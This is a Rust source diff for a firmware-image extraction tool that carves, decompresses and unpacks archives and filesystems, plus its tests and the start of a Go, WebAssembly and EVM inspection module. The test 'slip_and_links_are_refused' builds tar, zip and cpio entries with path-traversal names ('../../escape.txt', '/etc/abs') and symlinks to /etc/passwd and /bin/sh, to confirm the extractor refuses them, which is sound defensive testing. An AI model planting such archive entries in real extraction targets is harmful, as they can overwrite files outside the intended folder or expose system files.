+ // Data that is exactly one region is already a file on disk; don't write it twice. + let whole = job.level > 0 && start == 0 && end == job.data.len(); + if !whole { + w.write(&child(&job.dir, format!("{label}.bin")), slice, meta("carved"), job.level.max(1)); + } + if r.unpack == Unpack::Carve { + *not_unpacked.entry(r.kind).or_default() += 1; + continue; + } + let level = job.level + 1; + if level > p.max_depth { + deeper_than_limit += 1; + continue; + } + // When this data is exactly the region, its folder already belongs to it. + let sub = if whole { job.dir.clone() } else { child(&job.dir, format!("{label}.extracted")) }; + let parent_rel = if whole { job.parent.clone() } else { format!("{}/{label}.bin", job.dir.join("/")).trim_start_matches('/').to_string() }; + let mut produced: Vec = Vec::new(); + match (r.unpack, r.kind) { + (Unpack::Decompress, "gzip") => match fw::gunzip(slice, w.remaining()) { + Ok((d, _)) => { + let name = fw::gzip_header(slice) + .and_then(|h| h.original_name) + .map(|n| safe_leaf(&n, "decompressed.bin")) + .unwrap_or_else(|| "decompressed.bin".into()); + produced.push((child(&sub, name), d, "decompressed", sub.clone())); + } + Err(e) => w.skip(&format!("{label}.extracted"), e.to_string()), + }, + (Unpack::Decompress, "xz") => { + decompress_into(&mut produced, &sub, decompress::xz(slice, w.remaining()).map_err(|e| e.to_string()), &mut w, &label) + } + (Unpack::Decompress, "lzma") => { + decompress_into(&mut produced, &sub, decompress::lzma(slice, w.remaining()).map_err(|e| e.to_string()), &mut w, &label) + } + (Unpack::Decompress, "bzip2") => { + decompress_into(&mut produced, &sub, decompress::bzip2(slice, w.remaining()).map_err(|e| e.to_string()), &mut w, &label) + } + (Unpack::Decompress, "zstd") => { + decompress_into(&mut produced, &sub, decompress::zstd(slice, w.remaining()).map_err(|e| e.to_string()), &mut w, &label) + } + (Unpack::Decompress, _) => match fw::inflate(slice, true, w.remaining(), true) { + Ok(inf) => produced.push((child(&sub, "decompressed.bin".into()), inf.data.unwrap_or_default(), "decompressed", sub.clone())), + Err(e) => w.skip(&format!("{label}.extracted"), e.to_string()), + }, + (Unpack::Filesystem, kind) => { + let limits = Limits { max_total_bytes: w.remaining(), max_file_bytes: w.remaining(), ..Limits::default() }; + match fsread::read(kind, slice, &limits) { + Some(fsimg) => { + for wmsg in &fsimg.warnings { + w.skip(&format!("{label}.extracted"), format!("{kind}: {wmsg}")); + } + let mut wrote_any = false; + for e in &fsimg.entries { + ctx.cancel.check()?; + if e.kind != FsKind::File { + if e.kind == FsKind::Symlink { + w.skip(&format!("{label}.extracted/{}", e.path), "symlink not created"); + } + continue; + } + let Some(d) = &e.data else { + w.skip(&format!("{label}.extracted/{}", e.path), "file data not recovered"); + continue; + }; + match safe_components(&e.path) { + Ok(c) => { + let mut rel = sub.clone(); + rel.extend(c.iter().cloned()); + produced.push((rel, d.clone(), "filesystem-file", member_dir(&sub, &c))); + wrote_any = true; + } + Err(why) => w.skip(&format!("{label}.extracted/{}", e.path), format!("refused: {why}")), + } + } + if !wrote_any && fsimg.entries.iter().all(|e| e.kind != FsKind::File) { + *not_unpacked.entry(r.kind).or_default() += 1; + } + } + None => *not_unpacked.entry(r.kind).or_default() += 1, + } + } + (Unpack::Members, "zip") => match zip::parse(slice, p.max_output_files.saturating_mul(2)) { + Ok(z) => { + for e in z.entries.iter().filter(|e| !e.is_dir) { + ctx.cancel.check()?; + match (safe_components(&e.name), zip::read_entry(slice, e, w.remaining())) { + (Ok(c), Ok(d)) => { + let mut rel = sub.clone(); + rel.extend(c.iter().cloned()); + let scan_dir = member_dir(&sub, &c); + produced.push((rel, d, "member", scan_dir)); + } + (Err(why), _) => w.skip(&format!("{label}.extracted/{}", e.name), format!("refused: {why}")), + (_, Err(err)) => w.skip(&format!("{label}.extracted/{}", e.name), err.to_string()), + } + } + } + Err(e) => w.skip(&format!("{label}.extracted"), e.to_string()), + }, + (Unpack::Members, kind) => { + let listing = if kind == "tar" { tarcpio::tar(slice, p.max_output_files) } else { tarcpio::cpio(slice, p.max_output_files) }; + match listing { + Some(l) => { + for m in &l.members { + ctx.cancel.check()?; + let shown = format!("{label}.extracted/{}", m.name); + match m.kind { + tarcpio::MemberKind::Dir => continue, + tarcpio::MemberKind::File => {} + other => { + w.skip( + &shown, + format!( + "{} not created", + serde_json::to_value(other).ok().and_then(|v| v.as_str().map(String::from)).unwrap_or_default() + ), + ); + continue; + } + } + let c = match safe_components(&m.name) { + Ok(c) => c, + Err(why) => { + w.skip(&shown, format!("refused: {why}")); + continue; + } + }; + let Some(d) = tarcpio::member_data(slice, m) else { + w.skip(&shown, "member data runs past the end of the archive"); + continue; + }; + let mut rel = sub.clone(); + rel.extend(c.iter().cloned()); + produced.push((rel, d.to_vec(), "member", member_dir(&sub, &c))); + } + } + None => w.skip(&format!("{label}.extracted"), "archive header unreadable"), + } + } + (Unpack::Payload, "uimage") => { + let size = r.details.get("data_size").and_then(Value::as_u64).unwrap_or(0); + if let Some(d) = slice.get(64..).map(|s| s.get(..usize::try_from(size).unwrap_or(usize::MAX).min(s.len())).unwrap_or(s)) { + produced.push((child(&sub, "payload.bin".into()), d.to_vec(), "payload", sub.clone())); + } + } + (Unpack::Payload, _) => { + for (name, off, len) in boot_parts(r, slice) { + if let Some(d) = slice.get(off..off.saturating_add(len)) { + produced.push((child(&sub, name.into()), d.to_vec(), "payload", sub.clone())); + } + } + } + _ => {} + } + for (rel, d, action, scan_dir) in produced { + let mut m = meta(action); + if let Value::Object(o) = &mut m { + o.insert("parent".into(), json!(parent_rel)); + if action != "carved" { + o.insert("offset".into(), Value::Null); + } + } + let shown = rel.join("/"); + if w.write(&rel, &d, m, level) && !d.is_empty() { + jobs.push(Job { data: d, dir: scan_dir, level, parent: shown, base: 0 }); + } + } + } + } + let manifest = json!({"input": input.path, "sha256": input.subject.sha256, "range": p.range, "max_depth": p.max_depth, "outputs": w.outputs, "skipped": w.skipped, "not_unpacked": not_unpacked}); + let manifest_bytes = serde_json::to_vec_pretty(&manifest).map_err(|e| ToolError::internal(e.to_string()))?; + let manifest_path = write_new_file(&out, &["manifest.json".to_string()], &manifest_bytes) + .map_err(|e| ToolError::new(ErrorCode::FileError, format!("could not write manifest.json: {e}")))?; + let total = w.outputs.len(); + let listed: Vec<&Value> = w.outputs.iter().take(p.limit.clamp(1, 5000)).collect(); + let mut by_action: BTreeMap = BTreeMap::new(); + for o in &w.outputs { + *by_action.entry(o.get("action").and_then(Value::as_str).unwrap_or("").to_string()).or_default() += 1; + } + let summary = format!( + "Wrote {} file(s), {} bytes, from {} into {} ({}); {} level(s) deep{}.", + w.files, + w.bytes, + input.name, + out.display(), + by_action.iter().map(|(k, n)| format!("{n} {k}")).collect::>().join(", "), + w.max_level, + if w.skipped.is_empty() { String::new() } else { format!("; {} skipped", w.skipped.len()) } + ); + let mut lims = scan_limitations(); + if !not_unpacked.is_empty() { + lims.push(Limitation::new( + "carved_only", + format!( + "Carved as raw bytes but not unpacked (the built-in engine has no reader for their contents): {}.", + not_unpacked.iter().map(|(k, n)| format!("{k} ×{n}")).collect::>().join(", ") + ), + )); + } + lims.push(Limitation::new( + "unknown_length_carves", + "Regions whose length the format doesn't state are carved up to the next region or the end of the data.", + )); + if deeper_than_limit > 0 { + lims.push(Limitation::new( + "max_depth", + format!("{deeper_than_limit} region(s) at the depth limit were carved but not unpacked; raise max_depth to go further."), + )); + } + if w.truncated { + lims.push(Limitation::new("truncated", "The output byte or file limit stopped extraction; raise max_output_bytes or max_output_files.")); + } + if scan_truncated { + lims.push(Limitation::new( + "truncated", + format!("A scan stopped at max_regions={}; extract smaller ranges to recover omitted regions.", ScanOptions::default().max_regions), + )); + } + let truncated = w.truncated || scan_truncated; + let complete = !truncated && w.skipped.is_empty() && deeper_than_limit == 0; + let ev = builder( + ctx, + "firmware_image_extract", + input.subject.clone(), + json!({"path": p.path, "output_directory": p.output_directory, "range": p.range, "max_depth": p.max_depth, "max_output_bytes": p.max_output_bytes, "max_output_files": p.max_output_files}), + ) + .result(json!({ + "output_directory": out, + "manifest": manifest_path, + "files_written": w.files, + "bytes_written": w.bytes, + "levels": w.max_level, + "data_scanned": scanned, + "by_action": by_action, + "outputs_total": total, + "outputs": listed, + "skipped": w.skipped, + "not_unpacked": not_unpacked, + "truncated": truncated, + })) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage { status: if complete { CoverageStatus::Complete } else { CoverageStatus::Partial }, examined: Some(total as u64), total: None, next_offset: None }) + .location(Location::new("path", out.display().to_string()).with_label("output folder")) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +/// Push a decompressed stream as `decompressed.bin`, or record why it could not be decompressed. +fn decompress_into(produced: &mut Vec, sub: &[String], result: Result, String>, w: &mut Writer<'_>, label: &str) { + match result { + Ok(d) => produced.push((child(sub, "decompressed.bin".into()), d, "decompressed", sub.to_vec())), + Err(e) => w.skip(&format!("{label}.extracted"), e), + } +} + +/// Folder that receives what is carved out of an unpacked member: `.extracted` beside it. +fn member_dir(sub: &[String], comps: &[String]) -> Vec { + let mut v = sub.to_vec(); + if let Some((last, parents)) = comps.split_last() { + v.extend(parents.iter().cloned()); + v.push(format!("{last}.extracted")); + } + v +} + +/// The kernel, ramdisk and second-stage parts of an Android boot image: (name, offset, length). +fn boot_parts(r: &Region, slice: &[u8]) -> Vec<(&'static str, usize, usize)> { + let get = |k: &str| r.details.get(k).and_then(Value::as_u64).and_then(|v| usize::try_from(v).ok()).unwrap_or(0); + let page = get("page_size").max(1); + let align = |v: usize| v.div_ceil(page).saturating_mul(page); + let kernel = get("kernel_size"); + let ramdisk = get("ramdisk_size"); + let second = get("second_size"); + let k_off = page; + let r_off = k_off.saturating_add(align(kernel)); + let s_off = r_off.saturating_add(align(ramdisk)); + [("kernel.bin", k_off, kernel), ("ramdisk.bin", r_off, ramdisk), ("second.bin", s_off, second)] + .into_iter() + .filter(|(_, o, l)| *l > 0 && o.checked_add(*l).is_some_and(|e| e <= slice.len())) + .collect() +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err}; + use crate::Engine; + use craft_anything_testkit::firmware as fx; + use serde_json::json; + use std::path::PathBuf; + + fn fresh_out(tag: &str) -> PathBuf { + let d = tempfile::tempdir().unwrap().keep(); + d.join(format!("out-{tag}")) + } + + #[test] + fn inspects_regions_with_paging_and_range() { + let (img, l) = fx::image(); + let p = craft_anything_testkit::temp_file("fw.bin", &img); + let e = Engine::new(crate::testing::session()); + let v = call(&e, "firmware_regions_list", json!({"path": p})); + let res = &v["result"]; + assert_eq!(res["regions_total"], 6, "{}", res["by_kind"]); + assert_eq!(res["by_kind"]["uimage"], 1); + assert_eq!(res["regions"][0]["kind"], "uimage"); + assert_eq!(res["regions"][0]["details"]["name"], "Craft Linux-5.10"); + assert!(res["layout"]["high_entropy_unrecognised"].as_array().unwrap().iter().any(|s| s["offset"] == l.noise.0)); + assert!(!res["entropy"]["blocks"].as_array().unwrap().is_empty()); + let page = call(&e, "firmware_regions_list", json!({"path": p, "offset": 1, "limit": 2})); + assert_eq!(page["coverage"]["next_offset"], 3); + assert_eq!(page["result"]["regions"].as_array().unwrap().len(), 2); + let ranged = call(&e, "firmware_regions_list", json!({"path": p, "range": {"offset": l.tar.0, "length": l.tar.1 + l.cpio.1 + 0x200}})); + let kinds: Vec<_> = + ranged["result"]["regions"].as_array().unwrap().iter().map(|r| (r["kind"].as_str().unwrap().to_string(), r["offset"].as_u64().unwrap())).collect(); + assert!(kinds.contains(&("tar".into(), l.tar.0 as u64)), "{kinds:?}"); + assert!(kinds.contains(&("cpio-newc".into(), l.cpio.0 as u64)), "{kinds:?}"); + assert!(call_err(&e, "firmware_regions_list", json!({"path": p, "entropy_block": 1})).message.contains("entropy_block")); + assert!(call_err(&e, "firmware_regions_list", json!({"path": p, "range": {"offset": 1u64 << 40, "length": 1}})).message.contains("past the end")); + assert!(call_err(&e, "firmware_regions_list", json!({"path": "relative.bin"})).message.contains("absolute")); + } + + #[test] + fn decompresses_xz_lzma_bzip2_zstd() { + let e = Engine::new(crate::testing::session()); + for (name, fixture, plain) in [ + ("xz", fx::XZ_FIXTURE, fx::XZ_PLAIN), + ("lzma", fx::LZMA_FIXTURE, fx::LZMA_PLAIN), + ("bzip2", fx::BZIP2_FIXTURE, fx::BZIP2_PLAIN), + ("zstd", fx::ZSTD_FIXTURE, fx::ZSTD_PLAIN), + ] { + let p = craft_anything_testkit::temp_file(&format!("{name}.bin"), fixture); + let out = fresh_out(name); + let v = call(&e, "firmware_image_extract", json!({"path": p, "output_directory": out})); + let got = std::fs::read(out.join(format!("0-{name}.extracted/decompressed.bin"))) + .unwrap_or_else(|_| panic!("{name}: {}", serde_json::to_string_pretty(&v["result"]).unwrap())); + assert_eq!(got, plain, "{name}"); + std::fs::remove_dir_all(&out).unwrap(); + } + } + + #[test] + fn extracts_filesystems() { + let e = Engine::new(crate::testing::session()); + let cases: Vec<(&str, Vec, &str, &[u8])> = vec![ + ("romfs", fx::romfs_image(), "etc/hostname", b"craft-router\n"), + ("cramfs", fx::cramfs_image(), "dir/inner", b"nested"), + ("ext2", fx::ext_image(false), "sub/note", b"nested note"), + ("ext4", fx::ext_image(true), "hello.txt", b"Hello ext filesystem!\n"), + ("squashfs", fx::squashfs_image(), "etc/motd", b"welcome\n"), + ]; + for (kind, img, path, content) in cases { + let p = craft_anything_testkit::temp_file(&format!("{kind}.bin"), &img); + let out = fresh_out(&format!("fs-{kind}")); + let v = call(&e, "firmware_image_extract", json!({"path": p, "output_directory": out})); + // The region lands at offset 0; ext images report as ext2/ext4 by their feature bits. + let region_kind = v["result"]["outputs"].as_array().unwrap().iter().find_map(|o| { + let pp = o["path"].as_str()?; + pp.strip_suffix(&format!(".extracted/{path}")).map(|s| s.to_string()) + }); + let dir = region_kind.unwrap_or_else(|| panic!("{kind}: no output for {path} in {}", serde_json::to_string_pretty(&v["result"]).unwrap())); + let got = std::fs::read(out.join(format!("{dir}.extracted/{path}"))).unwrap(); + assert_eq!(got, content, "{kind}"); + std::fs::remove_dir_all(&out).unwrap(); + } + } + + #[test] + fn extracts_recursively_and_never_overwrites() { + let (img, l) = fx::image(); + let p = craft_anything_testkit::temp_file("fw.bin", &img); + let e = Engine::new(crate::testing::session()); + let out = fresh_out("a"); + let v = call(&e, "firmware_image_extract", json!({"path": p, "output_directory": out})); + let res = &v["result"]; + // uImage payload → gzip → kernel text. + let kernel = out.join("0-uimage.extracted/vmlinux"); + let k = std::fs::read(&kernel).unwrap_or_else(|_| panic!("{}", serde_json::to_string_pretty(&res["outputs"]).unwrap())); + assert!(k.starts_with(fx::KERNEL_TEXT)); + assert_eq!(std::fs::read(out.join(format!("{:x}-tar.extracted/etc/hostname", l.tar.0))).unwrap(), b"craft-router\n"); + assert_eq!(std::fs::read(out.join(format!("{:x}-cpio-newc.extracted/init", l.cpio.0))).unwrap(), b"#!/bin/sh\nexec /sbin/init\n"); + assert_eq!(std::fs::read(out.join(format!("{:x}-zip.extracted/config/settings.json", l.zip.0))).unwrap(), b"{\"wifi\":true}"); + assert_eq!(std::fs::metadata(out.join(format!("{:x}-ext2.bin", l.ext2.0))).unwrap().len(), l.ext2.1 as u64); + let manifest: serde_json::Value = serde_json::from_slice(&std::fs::read(out.join("manifest.json")).unwrap()).unwrap(); + assert_eq!(manifest["outputs"].as_array().unwrap().len(), res["outputs_total"].as_u64().unwrap() as usize); + assert!(manifest["outputs"].as_array().unwrap().iter().all(|o| o["sha256"].as_str().unwrap().len() == 64)); + assert_eq!(res["not_unpacked"]["squashfs"], 1); + assert!(res["levels"].as_u64().unwrap() >= 2); + assert!(v["limitations"].as_array().unwrap().iter().any(|x| x["code"] == "carved_only")); + // The folder now exists: a second run must refuse rather than overwrite. + let err = call_err(&e, "firmware_image_extract", json!({"path": p, "output_directory": out})); + assert!(err.message.contains("already exists")); + assert!(call_err(&e, "firmware_image_extract", json!({"path": p, "output_directory": "rel/out"})).message.contains("absolute")); + std::fs::remove_dir_all(&out).unwrap(); + } + + #[test] + fn extraction_reports_a_scan_cap_as_partial_coverage() { + let mut elf = vec![0; 121]; + elf[..7].copy_from_slice(b"\x7fELF\x02\x01\x01"); + for (offset, value) in [(16, 2u16), (18, 62), (52, 64), (54, 56), (56, 1), (58, 64)] { + elf[offset..offset + 2].copy_from_slice(&value.to_le_bytes()); + } + for (offset, value) in [(20, 1u32), (64, 1), (68, 5)] { + elf[offset..offset + 4].copy_from_slice(&value.to_le_bytes()); + } + for (offset, value) in [(24, 0x400078u64), (32, 64), (80, 0x400000), (88, 0x400000), (96, 121), (104, 121), (112, 4096)] { + elf[offset..offset + 8].copy_from_slice(&value.to_le_bytes()); + } + elf[120] = 0xc3; + let root = tempfile::tempdir().unwrap(); + let input = root.path().join("many-elf.bin"); + std::fs::write(&input, elf.repeat(2001)).unwrap(); + let e = Engine::new(crate::testing::session()); + let listing = call(&e, "firmware_regions_list", json!({"path": input, "max_regions": 2002, "limit": 5000})); + assert_eq!(listing["result"]["regions_total"], 2001); + assert_eq!(listing["result"]["truncated"], false); + let out = root.path().join("out"); + let v = call(&e, "firmware_image_extract", json!({"path": input, "output_directory": out, "limit": 1})); + assert_eq!(v["result"]["files_written"], 2000); + assert_eq!(v["result"]["bytes_written"], 242000); + assert_eq!(v["result"]["skipped"], json!([])); + assert_eq!(v["result"]["outputs"].as_array().unwrap().len(), 1); + let manifest: serde_json::Value = serde_json::from_slice(&std::fs::read(out.join("manifest.json")).unwrap()).unwrap(); + assert_eq!(manifest["outputs"].as_array().unwrap().len(), 2000); + assert_eq!(std::fs::read_dir(&out).unwrap().count(), 2001); + assert_eq!(std::fs::read(out.join(format!("{:x}-elf.bin", 1999 * 121))).unwrap(), elf); + assert!(!out.join(format!("{:x}-elf.bin", 2000 * 121)).exists()); + assert_eq!(v["result"]["truncated"], true); + assert_eq!(v["coverage"]["status"], "partial"); + assert!(v["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "truncated" && l["message"].as_str().unwrap().contains("2000"))); + let ranged_out = root.path().join("ranged-out"); + let ranged = call( + &e, + "firmware_image_extract", + json!({"path": input, "output_directory": ranged_out, "range": {"offset": 2000 * 121, "length": 121}, "limit": 1}), + ); + assert_eq!(ranged["result"]["files_written"], 1); + assert_eq!(ranged["result"]["truncated"], false); + assert_eq!(ranged["coverage"]["status"], "complete"); + assert_eq!(std::fs::read(ranged_out.join(format!("{:x}-elf.bin", 2000 * 121))).unwrap(), elf); + } + + #[test] + fn depth_and_caps_are_honoured() { + let (img, _) = fx::image(); + let p = craft_anything_testkit::temp_file("fw.bin", &img); + let e = Engine::new(crate::testing::session()); + let out = fresh_out("depth"); + let v = call(&e, "firmware_image_extract", json!({"path": p, "output_directory": out, "max_depth": 1})); + assert!(out.join("0-uimage.extracted/payload.bin").exists()); + assert!(!out.join("0-uimage.extracted/vmlinux").exists()); + assert!(v["limitations"].as_array().unwrap().iter().any(|x| x["code"] == "max_depth")); + let out2 = fresh_out("caps"); + let v = call(&e, "firmware_image_extract", json!({"path": p, "output_directory": out2, "max_output_files": 3})); + assert_eq!(v["result"]["files_written"], 3); + assert_eq!(v["result"]["truncated"], true); + assert_eq!(v["coverage"]["status"], "partial"); + let out3 = fresh_out("bytes"); + let v = call(&e, "firmware_image_extract", json!({"path": p, "output_directory": out3, "max_output_bytes": 4096})); + assert!(v["result"]["bytes_written"].as_u64().unwrap() <= 4096); + assert!(call_err(&e, "firmware_image_extract", json!({"path": p, "output_directory": fresh_out("x"), "max_depth": 11})).message.contains("max_depth")); + for d in [out, out2, out3] { + std::fs::remove_dir_all(d).unwrap(); + } + } + + #[test] + fn slip_and_links_are_refused() { + let t = fx::tar_entries(&[ + ("../../escape.txt", b'0', b"x", ""), + ("/etc/abs", b'0', b"y", ""), + ("link", b'2', b"", "/etc/passwd"), + ("ok/fine.txt", b'0', b"fine", ""), + ]); + let z = craft_anything_testkit::electron::zip_stored(&[("../zip-escape", b"z"), ("good.txt", b"g")]); + let c = fx::cpio_newc(&[("../cpio-escape", b"c", 0o100644), ("sym", b"/bin/sh", 0o120777), ("keep", b"k", 0o100644)]); + let mut img = t.clone(); + while !img.len().is_multiple_of(512) { + img.push(0); + } + let z_off = img.len(); + img.extend_from_slice(&z); + img.extend(vec![0u8; 512 - img.len() % 512]); + let c_off = img.len(); + img.extend_from_slice(&c); + let p = craft_anything_testkit::temp_file("evil.bin", &img); + let e = Engine::new(crate::testing::session()); + let out = fresh_out("slip"); + let v = call(&e, "firmware_image_extract", json!({"path": p, "output_directory": out})); + assert_eq!(std::fs::read(out.join("0-tar.extracted/ok/fine.txt")).unwrap(), b"fine"); + assert_eq!(std::fs::read(out.join(format!("{z_off:x}-zip.extracted/good.txt"))).unwrap(), b"g"); + assert_eq!(std::fs::read(out.join(format!("{c_off:x}-cpio-newc.extracted/keep"))).unwrap(), b"k"); + let skipped = v["result"]["skipped"].as_array().unwrap(); + assert!(skipped.len() >= 6, "{skipped:?}"); + assert!(!out.parent().unwrap().join("escape.txt").exists()); + assert!(!out.join("0-tar.extracted/link").exists()); + assert!(!out.join(format!("{c_off:x}-cpio-newc.extracted/sym")).exists()); + let all: Vec<_> = walk(&out); + assert!(all.iter().all(|f| f.starts_with(&out))); + std::fs::remove_dir_all(&out).unwrap(); + } + + fn walk(d: &std::path::Path) -> Vec { + let mut v = Vec::new(); + for e in std::fs::read_dir(d).unwrap().flatten() { + let p = e.path(); + assert!(!e.file_type().unwrap().is_symlink()); + if p.is_dir() { + v.extend(walk(&p)); + } else { + v.push(p); + } + } + v + } + + #[test] + fn damaged_images_never_panic() { + let (img, _) = fx::image(); + let e = Engine::new(crate::testing::session()); + for (k, m) in craft_anything_testkit::mutations(&img).into_iter().enumerate().step_by(9) { + let p = craft_anything_testkit::temp_file("m.bin", &m); + let _ = e.call("firmware_regions_list", json!({"path": p}), crate::CallOptions::new(crate::Caller::Mcp)); + let out = fresh_out(&format!("m{k}")); + let _ = e.call( + "firmware_image_extract", + json!({"path": p, "output_directory": out, "max_output_bytes": 1 << 20}), + crate::CallOptions::new(crate::Caller::Mcp), + ); + let _ = std::fs::remove_dir_all(&out); + } + } +} diff --git a/desktop/crates/engine/src/tools/format_tools.rs b/desktop/crates/engine/src/tools/format_tools.rs new file mode 100644 index 0000000..aa4665d --- /dev/null +++ b/desktop/crates/engine/src/tools/format_tools.rs @@ -0,0 +1,524 @@ +//! Target-free format tools with built-in parsers: Go programs (build information and function +//! table), WebAssembly modules (structure, validation, text form) and EVM contract bytecode +//! (dispatcher selectors). Each takes an absolute path or uses the active target. + +use super::native_common::{page, spec}; +use super::static_input::{self, Input, builder, format_err}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, Limitation, Location, Subject, ToolError, sha256_hex}; +use craft_anything_formats::{evm, go, wasm}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; + +pub fn specs() -> Vec { + let e = Effects::EVIDENCE; + vec![ + spec( + "native_go_binary_show", + "Go program details", + "Read a Go program (ELF, PE or Mach-O; pick a universal-binary slice with architecture): the build information block (Go version, main module, dependencies with versions, sums and replacements, build settings such as -ldflags, CGO_ENABLED, GOOS/GOARCH, vcs.revision) and the function name table (pclntab, Go 1.2–1.20+ layouts) with every function's name and entry address, paged, plus functions per package. Built-in parser.", + "Find out which Go version and libraries built a program, and list its functions.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + native_go_binary_show, + ), + spec( + "formats_wasm_module_show", + "WebAssembly module", + "Validate a WebAssembly module and list its sections, imports, exports, functions (signature, body size, name), memories, tables, globals, custom sections (names, producers, target features, source map URL), start function and data segments; optionally the text form (WAT), paged by characters; optionally scan JavaScript glue files for .wasm references and matching import names. Built-in parser.", + "See what a WebAssembly module imports, exports and contains.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + formats_wasm_module_show, + ), + spec( + "formats_evm_interface_show", + "Smart contract interface", + "Find the public function selectors in EVM contract bytecode (raw or hex, from a file or inline): where the dispatcher sends each selector, whether the function refuses payments (CALLVALUE check), fallback/receive presence, binary-search dispatch, and the compiler metadata (solc/vyper version, IPFS/Swarm hash). Function names are not recoverable without an ABI. Never executes the code.", + "List the functions a smart contract exposes, from its bytecode.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + formats_evm_interface_show, + ), + ] +} + +fn d_limit() -> usize { + 200 +} +fn d_true() -> bool { + true +} +fn d_wat_limit() -> usize { + 20_000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct GoParams { + /// Absolute path of an ELF, PE or Mach-O file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// For a universal (fat) Mach-O: the slice to read (x86_64, arm64…). The first slice otherwise. + #[serde(default)] + pub architecture: Option, + /// Include the function list page (default true). + #[serde(default = "d_true")] + pub include_functions: bool, + /// Only functions whose name contains this text (case-insensitive). + #[serde(default)] + pub query: Option, + /// First function of the page. + #[serde(default)] + pub offset: usize, + /// Functions per page (1–5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum WasmDetail { + /// Counts, validation, exports and producers. + Summary, + /// Everything, with functions paged. + #[default] + Complete, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct WasmParams { + /// Absolute path of a .wasm file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// summary or complete (default). + #[serde(default)] + pub detail: WasmDetail, + /// Include a page of the text form (WAT). Only valid modules are rendered. + #[serde(default)] + pub include_wat: bool, + /// First character of the WAT page. + #[serde(default)] + pub wat_offset: usize, + /// Characters per WAT page (1–200000, default 20000). + #[serde(default = "d_wat_limit")] + pub wat_limit: usize, + /// First function of the page. + #[serde(default)] + pub offset: usize, + /// Functions per page (1–5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, + /// Up to 16 absolute paths of JavaScript glue files to scan for .wasm references and import names. + #[serde(default)] + pub js_glue_files: Vec, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum EvmEncoding { + /// Hex when the content is only hex digits (optional 0x), raw bytes otherwise. + #[default] + Auto, + Raw, + Hex, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct EvmParams { + /// Absolute path of a file holding the bytecode; the active target when neither path nor bytecode is given. + #[serde(default)] + pub path: Option, + /// The bytecode as a hex string (optional 0x), instead of a file. + #[serde(default)] + pub bytecode: Option, + /// auto (default), raw or hex. + #[serde(default)] + pub encoding: EvmEncoding, +} + +const WAT_CAP: usize = 8 << 20; + +// --------------------------------------------------------------------------------------------- +// Go + +fn native_go_binary_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: GoParams = parse_params(params)?; + let input = static_input::load(ctx, p.path.as_deref(), go::MAX_INPUT as u64)?; + ctx.report(None, format!("Reading Go structures in {}", input.name)); + let r = go::inspect(&input.bytes, p.architecture.as_deref()).map_err(|e| format_err(e, "an ELF, PE or Mach-O program"))?; + ctx.cancel.check()?; + let limit = p.limit.clamp(1, 5000); + let q = p.query.as_deref().map(str::to_lowercase).filter(|q| !q.is_empty()); + let all_funcs: Vec<&go::GoFunction> = + r.pclntab.as_ref().map(|t| t.functions.iter().filter(|f| q.as_deref().is_none_or(|q| f.name.to_lowercase().contains(q))).collect()).unwrap_or_default(); + let (funcs, cov) = if p.include_functions { page(&all_funcs, p.offset, limit) } else { (Vec::new(), Coverage::complete(1)) }; + let b = r.buildinfo.as_ref(); + let mut summary = match b { + Some(b) => format!( + "Go {} program ({}, {}): main module {}, {} dependencies, {} build settings", + b.go_version.as_deref().unwrap_or("(unknown version)"), + r.container, + r.architecture, + b.main.as_ref().map(|m| m.path.as_str()).or(b.path.as_deref()).unwrap_or("(none)"), + b.deps.len(), + b.settings.len() + ), + None if r.is_go => format!("Go program ({}, {}) without readable build information", r.container, r.architecture), + None => format!("No Go build information or function table found in this {} file", r.container), + }; + if let Some(t) = &r.pclntab { + summary.push_str(&format!("; {} functions in {} packages (function table, Go {} layout)", t.functions.len(), r.packages.len(), t.layout)); + } + summary.push('.'); + let mut lims = vec![Limitation::new( + "names_only", + "Functions come from the function name table: names and entry addresses only, no types, arguments or sizes; inlined functions have no entry of their own.", + )]; + if !r.is_go { + lims.push(Limitation::new( + "absence_not_proof", + "Not finding Go structures does not prove the program isn't Go: they can be stripped, compressed or packed.", + )); + } + if let Some(b) = b + && !b.complete + { + lims.push(Limitation::new( + "buildinfo_incomplete", + "Some build information lines were not understood or the module text is missing; see unparsed_lines and warnings.", + )); + } + if let Some(t) = &r.pclntab { + if t.located_by == "scan" { + lims.push(Limitation::new( + "pclntab_scanned", + "The function table was found by scanning for its header (no named section); the header checks passed but this is a heuristic.", + )); + } + if t.truncated { + lims.push(Limitation::new("truncated", format!("Read the first {} of {} declared functions.", t.functions.len(), t.declared_functions))); + } + } + if let Some(s) = &r.slice { + lims.push(Limitation::new("one_slice", format!("Universal binary: only the {s} slice was read (available: {}).", r.slices_available.join(", ")))); + } + let pcl = r.pclntab.as_ref().map(|t| { + json!({"layout": t.layout, "offset": t.offset, "located_by": t.located_by, "section": t.section, "pointer_size": t.pointer_size, + "quantum": t.quantum, "big_endian": t.big_endian, "declared_functions": t.declared_functions, + "functions_read": t.functions.len(), "truncated": t.truncated, "warnings": t.warnings}) + }); + let mut ev = builder( + ctx, + "native_go_binary_show", + input.subject.clone(), + json!({"path": input.path, "architecture": p.architecture, "query": p.query, 